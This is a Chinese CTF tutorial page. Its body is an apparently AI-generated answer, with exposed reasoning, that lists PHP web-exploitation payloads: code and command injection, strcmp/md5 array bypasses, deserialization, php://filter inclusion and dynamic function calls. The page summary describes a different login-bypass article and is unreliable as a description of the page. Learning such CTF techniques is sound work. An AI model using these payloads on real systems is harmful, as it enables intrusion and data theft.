ctf的web题目中的绕过登陆

本文介绍了几种渗透测试中常见的技巧,包括后台登录绕过、利用文件包含漏洞查询FLAG及解析随机种子题目的方法。通过实际案例,展示了如何使用Burp Suite抓取并修改Cookie信息绕过登录验证,以及如何利用在线PHP执行工具进行代码测试。此外,还提供了一个关于随机种子题目的链接,帮助读者深入理解此类题目。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

<think>嗯,用户想了解CTF竞赛中涉及函数的Web题目解题方法和技巧。我需要先回忆一下常见的CTF Web题型,尤其是和函数相关的。比如PHP中的一些危险函数,像eval()、system()、exec(),这些函数如果参数可控的话,可能导致代码执行或者命令注入。用户提到的数组绕过,可能涉及到通过传递数组来绕过某些过滤,比如strcmp函数比较数组和字符串时会返回NULL,从而绕过条件判断。 另外,用户提供的引用中有提到数组返回NULL绕过的情况,比如使用name[]=a这样的参数,这可能在某些PHP代码中让$_GET['name']变成数组,导致函数处理时出错。例如,strcmp($_POST['password'], $hardcode_pass)当password是数组时,strcmp返回NULL,而NULL在松散比较中等于0,从而绕过验证。 接下来,可能需要考虑其他函数的利用,比如create_function(),它会在内部执行eval,如果参数可控的话,可能存在代码注入。还有preg_replace()使用/e修饰符时,可以执行替换后的字符串作为代码。这些都需要在解题时注意。 另外,反序列化漏洞中的魔术方法,比如__destruct()、__wakeup(),如果类中有危险函数被调用,也可能导致漏洞。需要检查反序列化入口点,构造合适的payload。 还有文件包含函数,比如include、require,如果路径可控,可能结合伪协议如php://filter来读取源码,或者进行日志注入。 用户提到的引用中还有关于反引号传递的问题,可能涉及到命令执行,当参数在反引号中但无法直接闭合时,可能需要通过其他方式注入命令,比如利用环境变量或者参数污染。 此外,一些过滤绕过技巧,比如编码、字符串拼接、特殊字符替换等,也是关键。比如用${IFS}代替空格,用base64编码命令再解码执行。 最后,可能需要总结常见的解题步骤:寻找危险函数,确定参数是否可控,构造payload绕过过滤,利用函数特性执行恶意操作。同时结合题目给出的引用案例,比如数组绕过和命令注入的方法,来具体分析。</think>### CTF Web题型中函数相关漏洞的解题方法 在CTF Web题目中,函数的使用常涉及代码执行、参数过滤绕过等核心考点。以下是三类典型场景的解题技巧: --- #### 一、危险函数直接利用 1. **代码执行类函数** - `eval()`:直接执行输入字符串的PHP代码 ```php <?php eval($_GET['cmd']); ?> // payload: ?cmd=system('ls'); ``` - `create_function()`:通过注入闭合函数体构造代码执行 ```php $func = create_function('$a','}system($_GET[cmd]);//'); ``` - `preg_replace()`:使用`/e`修饰符时执行替换内容 ```php preg_replace('/pattern/e', $_GET['repl'], 'data'); // payload: repl=phpinfo() ``` 2. **命令执行类函数** - `system()`/`exec()`:通过参数污染执行命令 ```php system("ping ".$_GET['ip']); // payload: ip=127.0.0.1;cat /flag ``` - 反引号操作符:利用环境变量拼接命令 ```bash `$_GET['c']` // payload: c=curl${IFS}example.com ``` --- #### 二、参数过滤绕过技巧 1. **数组绕过黑名单** - `strcmp()`漏洞:传递数组使返回值为`NULL` ```php if(strcmp($_POST['pass'], 'secret') == 0){...} // payload: pass[]=a --> NULL == 0 成立[^1] ``` - `md5()`碰撞:通过数组制造哈希冲突 ```php if(md5($_GET['a']) == md5($_GET['b'])){...} // payload: a[]=1&b[]=2 ``` 2. **编码绕过** - Base64嵌套编码:`system(base64_decode($_GET['c']))` ```url ?c=Y2F0IC9mbGFn # cat /flag的base64编码 ``` - Hex转换:`eval(hex2bin($_POST['h']))` --- #### 三、特殊场景利用 1. **反序列化魔术方法** ```php class VulnClass { function __destruct(){ system($this->cmd); // payload: O:8:"VulnClass":1:{s:3:"cmd";s:6:"whoami";} } } ``` 2. **文件包含伪协议** ```php include($_GET['file']); // payload: file=php://filter/convert.base64-encode/resource=index.php ``` 3. **动态函数调用** ```php $_GET{'a'}($_GET['b']); // payload: a=system&b=id ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值